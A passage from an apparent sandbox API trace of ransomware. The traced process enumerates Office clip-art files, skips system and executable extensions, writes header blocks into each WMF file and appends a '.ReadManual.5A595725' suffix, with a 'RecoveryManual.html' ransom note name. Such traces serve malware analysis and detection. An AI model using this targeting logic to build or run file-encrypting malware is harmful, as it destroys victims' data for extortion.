(hMem=0x76c1a55b) returned 0x76c1a55b [0267.597] CloseHandle (hObject=0x194) returned 1 [0267.597] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x62e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185778.WMF", cAlternateFileName="")) returned 1 [0267.597] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185778.WMF" | out: lpString1="J0185778.WMF") returned="J0185778.WMF" [0267.597] lstrcmpiW (lpString1="J0185778.WMF", lpString2="RecoveryManual.html") returned -1 [0267.597] StrStrIW (lpFirst="J0185778.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.597] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.597] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.597] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" [0267.597] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ReadManual.5A595725" [0267.597] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF.ReadManual.5A595725") returned 87 [0267.597] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38826608830) returned 1 [0267.597] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf")) returned 0x20 [0267.598] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185778.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185778.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.598] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25312) returned 1 [0267.599] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x62e0, lpName=0x0) returned 0x184 [0267.599] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.599] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.599] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.602] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.602] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x62e0) returned 0x2f0000 [0267.602] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.602] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38827102896) returned 1 [0267.602] CloseHandle (hObject=0x184) returned 1 [0267.602] SetSecurityInfo () returned 0x57 [0267.602] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.602] CloseHandle (hObject=0x194) returned 1 [0267.603] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe956, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185780.WMF", cAlternateFileName="")) returned 1 [0267.603] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185780.WMF" | out: lpString1="J0185780.WMF") returned="J0185780.WMF" [0267.603] lstrcmpiW (lpString1="J0185780.WMF", lpString2="RecoveryManual.html") returned -1 [0267.603] StrStrIW (lpFirst="J0185780.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.603] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.603] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.603] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" [0267.603] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ReadManual.5A595725" [0267.603] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF.ReadManual.5A595725") returned 87 [0267.603] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38827197148) returned 1 [0267.603] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf")) returned 0x20 [0267.603] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185780.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185780.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.604] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=59734) returned 1 [0267.604] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe956, lpName=0x0) returned 0x184 [0267.604] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.605] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.605] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.607] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.607] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe956) returned 0x2f0000 [0267.608] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.609] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38827741883) returned 1 [0267.609] CloseHandle (hObject=0x184) returned 1 [0267.609] SetSecurityInfo () returned 0x57 [0267.609] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.609] CloseHandle (hObject=0x194) returned 1 [0267.609] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99a2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185786.WMF", cAlternateFileName="")) returned 1 [0267.609] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185786.WMF" | out: lpString1="J0185786.WMF") returned="J0185786.WMF" [0267.609] lstrcmpiW (lpString1="J0185786.WMF", lpString2="RecoveryManual.html") returned -1 [0267.609] StrStrIW (lpFirst="J0185786.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.609] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.609] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.609] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" [0267.610] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ReadManual.5A595725" [0267.610] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.ReadManual.5A595725") returned 87 [0267.610] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38827837839) returned 1 [0267.610] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf")) returned 0x20 [0267.610] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.610] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=39330) returned 1 [0267.610] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99a2, lpName=0x0) returned 0x184 [0267.610] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.611] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.611] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.613] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.613] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x99a2) returned 0x2f0000 [0267.614] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.615] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38828344099) returned 1 [0267.615] CloseHandle (hObject=0x184) returned 1 [0267.615] SetSecurityInfo () returned 0x57 [0267.615] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.615] CloseHandle (hObject=0x194) returned 1 [0267.615] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x50b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185790.WMF", cAlternateFileName="")) returned 1 [0267.615] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185790.WMF" | out: lpString1="J0185790.WMF") returned="J0185790.WMF" [0267.615] lstrcmpiW (lpString1="J0185790.WMF", lpString2="RecoveryManual.html") returned -1 [0267.615] StrStrIW (lpFirst="J0185790.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.615] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.615] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.616] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.616] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" [0267.616] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ReadManual.5A595725" [0267.616] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF.ReadManual.5A595725") returned 87 [0267.616] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38828443073) returned 1 [0267.616] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf")) returned 0x20 [0267.616] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185790.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185790.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.616] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20662) returned 1 [0267.616] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x50b6, lpName=0x0) returned 0x184 [0267.616] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.617] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.617] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.619] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.619] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x50b6) returned 0x2f0000 [0267.619] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38828833040) returned 1 [0267.620] CloseHandle (hObject=0x184) returned 1 [0267.620] SetSecurityInfo () returned 0x57 [0267.620] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.620] CloseHandle (hObject=0x194) returned 1 [0267.620] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x650c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185796.WMF", cAlternateFileName="")) returned 1 [0267.620] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185796.WMF" | out: lpString1="J0185796.WMF") returned="J0185796.WMF" [0267.620] lstrcmpiW (lpString1="J0185796.WMF", lpString2="RecoveryManual.html") returned -1 [0267.620] StrStrIW (lpFirst="J0185796.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.620] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0267.620] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0267.620] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" [0267.620] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ReadManual.5A595725" [0267.620] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF.ReadManual.5A595725") returned 87 [0267.620] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38828926769) returned 1 [0267.621] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf")) returned 0x20 [0267.621] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185796.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185796.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0267.621] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=25868) returned 1 [0267.621] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x650c, lpName=0x0) returned 0x184 [0267.621] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0267.622] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.622] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0267.624] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0267.624] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x650c) returned 0x2f0000 [0267.625] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0267.625] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38829372198) returned 1 [0267.625] CloseHandle (hObject=0x184) returned 1 [0267.625] SetSecurityInfo () returned 0x57 [0267.625] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0267.625] CloseHandle (hObject=0x194) returned 1 [0267.625] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564c4a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8420, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0185798.WMF", cAlternateFileName="")) returned 1 [0267.625] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0185798.WMF" | out: lpString1="J0185798.WMF") returned="J0185798.WMF" [0267.625] lstrcmpiW (lpString1="J0185798.WMF", lpString2="RecoveryManual.html") returned -1 [0267.625] StrStrIW (lpFirst="J0185798.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0267.625] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0267.625] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0267.625] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0267.626] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0267.626] StrCmpIW (psz1="WMF", 